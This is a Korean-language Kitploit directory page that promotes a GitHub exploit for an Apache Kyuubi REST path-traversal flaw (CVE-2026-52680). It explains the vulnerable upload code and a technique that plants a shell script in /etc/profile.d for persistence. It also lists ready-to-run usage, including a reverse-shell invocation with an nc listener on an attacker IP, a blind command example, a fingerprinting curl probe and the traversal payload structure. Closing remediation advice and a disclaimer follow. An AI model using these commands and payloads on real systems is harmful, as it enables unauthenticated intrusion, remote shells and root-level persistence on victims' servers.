Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-52680_exploit — Apache Kyuubi 경로 탐색(CVE-2026-52680) 익스플로잇으로, profile.d 셸 스크립트를 통해 인증 없는 임의 파일 쓰기 및 코드 실행을 달성합니다. | Kitploit
도구/GitHubGitHub/0xdak/cve-2026-52680_exploit
Payload GenerationPersistence MechanismsExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHub0xdak/cve-2026-52680_exploit

CVE-2026-52680_exploit

Apache Kyuubi 경로 탐색(CVE-2026-52680) 익스플로잇으로, profile.d 셸 스크립트를 통해 인증 없는 임의 파일 쓰기 및 코드 실행을 달성합니다.

저장소 보기
17일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-52680 — Apache Kyuubi REST 배치 경로 탐색 임의 파일 쓰기

Apache Kyuubi의 REST API에서 multipart 배치 제출 엔드포인트를 통해 발생하는 인증되지 않은 임의 파일 쓰기 취약점입니다.

POST /api/v1/batches (multipart/form-data)는 resourceFile 파트를 클라이언트가 제공한 파일명을 사용해 경로 탐색 검사 없이 $KYUUBI_HOME/work/upload/<batchId>/에 기록합니다 (kyuubi-common의 Utils.writeToTempFile):

root@kitploit:~
val filePath = Paths.get(dir.toString, s"$prefix-$identifier$suffix")   // no normalize()/containment
Files.copy(source, filePath, StandardCopyOption.REPLACE_EXISTING)

../ 파일명은 업로드 디렉터리를 벗어나 Kyuubi 프로세스 사용자 권한으로 임의 디렉터리 파일 쓰기(CWE-22)가 가능해집니다. Kyuubi는 기본적으로 kyuubi.authentication=NONE을 사용하므로 해당 엔드포인트는 인증 없이 접근 가능합니다.

  • 영향 대상: Apache Kyuubi 1.7.0 – 1.11.1
  • 수정 버전: 1.12.0 (filePath.normalize().startsWith(dir.normalize()) 포함 검사 추가)
  • 기본 포트: 10099 (REST 프론트엔드, authentication=NONE일 때 인증 없음)
  • CWE: 22 (경로 탐색) / 73 (파일 이름 또는 경로의 외부 제어)
  • 영향: Kyuubi 프로세스 사용자 권한으로 임의 파일 쓰기 → RCE

중요 제약 — 기본 파일명이 변형됨

writeToTempFile는 확장자 앞에 -<yyyyMMddHHmmss>-<counter>를 삽입하므로 대상 디렉터리, 확장자, 내용은 제어할 수 있지만 정확한 기본 파일명은 제어할 수 없습니다. 이 때문에 정확한 이름으로 덮어쓰는 공격(~/.ssh/authorized_keys, /etc/crontab, ~/.bashrc)은 불가능합니다 — 대신 glob 방식으로 실행되는 위치를 노리세요.

이 익스플로잇은 /etc/profile.d/pwn.sh를 생성합니다 → /etc/profile.d/pwn-<ts>-<n>.sh로 저장되며, 이 파일은 여전히 /etc/profile.d/*.sh 패턴에 매칭되어 모든 로그인 셸에서 소싱(실행 비트 불필요)됩니다. 로그인 셸을 여는 사용자 권한으로 실행되며, Kyuubi가 root로 실행 중이고 root 로그인이 발생하면(예: ssh root@host, su -, cron의 bash -lc) root 권한으로 실행됩니다.

요구 사항

Python 3 표준 라이브러리만 필요 — 추가 의존성 없음.

사용법

root@kitploit:~
# reverse shell (start a listener first: nc -lvnp 4444). Fires on the next login shell.
python3 exploit.py http://10.10.10.10:10099/ --shell 10.10.14.5:4444

# blind command
python3 exploit.py http://10.10.10.10:10099/ -c 'id > /tmp/pwned'

Spark 백엔드가 없으면 업로드는 HTTP 500(Error opening batch session)을 반환합니다 — 이는 정상적이고 무해합니다. 파일은 배치가 실행되기 전에 기록되기 때문입니다.

작동 원리

두 개의 multipart 파트:

  1. batchRequest (JSON) {"batchType":"SPARK","resource":"x","className":"x","name":"pwn"} — 검증을 통과하고 업로드 싱크에 도달하기 위한 최소한의 유효한 BatchRequest.
  2. resourceFile, 파일명 ../../../../../../etc/profile.d/pwn.sh, 본문 = 페이로드. Kyuubi는 이 파일을 (기본 파일명이 변형된 채) /etc/profile.d/pwn-<ts>-<n>.sh로 기록합니다.

그런 다음 로그인 셸이 /etc/profile.d/*.sh를 소싱하여 페이로드를 실행합니다.

대상 식별

root@kitploit:~
curl -s http://10.10.10.10:10099/api/v1/ping        # Kyuubi REST responds (no auth)

포트 10099에서 authentication=NONE으로 실행 중인 Kyuubi REST 프론트엔드는 공격에 취약합니다.

해결 방법

Apache Kyuubi ≥ 1.12.0으로 업그레이드하고, 인증(kyuubi.authentication)을 활성화하며, REST 게이트웨이를 신뢰할 수 없는 네트워크에 노출하지 말고, Kyuubi를 root로 실행하지 마세요.

면책 조항

승인된 보안 테스트 및 교육 목적으로만 사용하세요. 소유하고 있거나 명시적 테스트 권한이 있는 시스템에 대해서만 사용하십시오.

도구 다운로드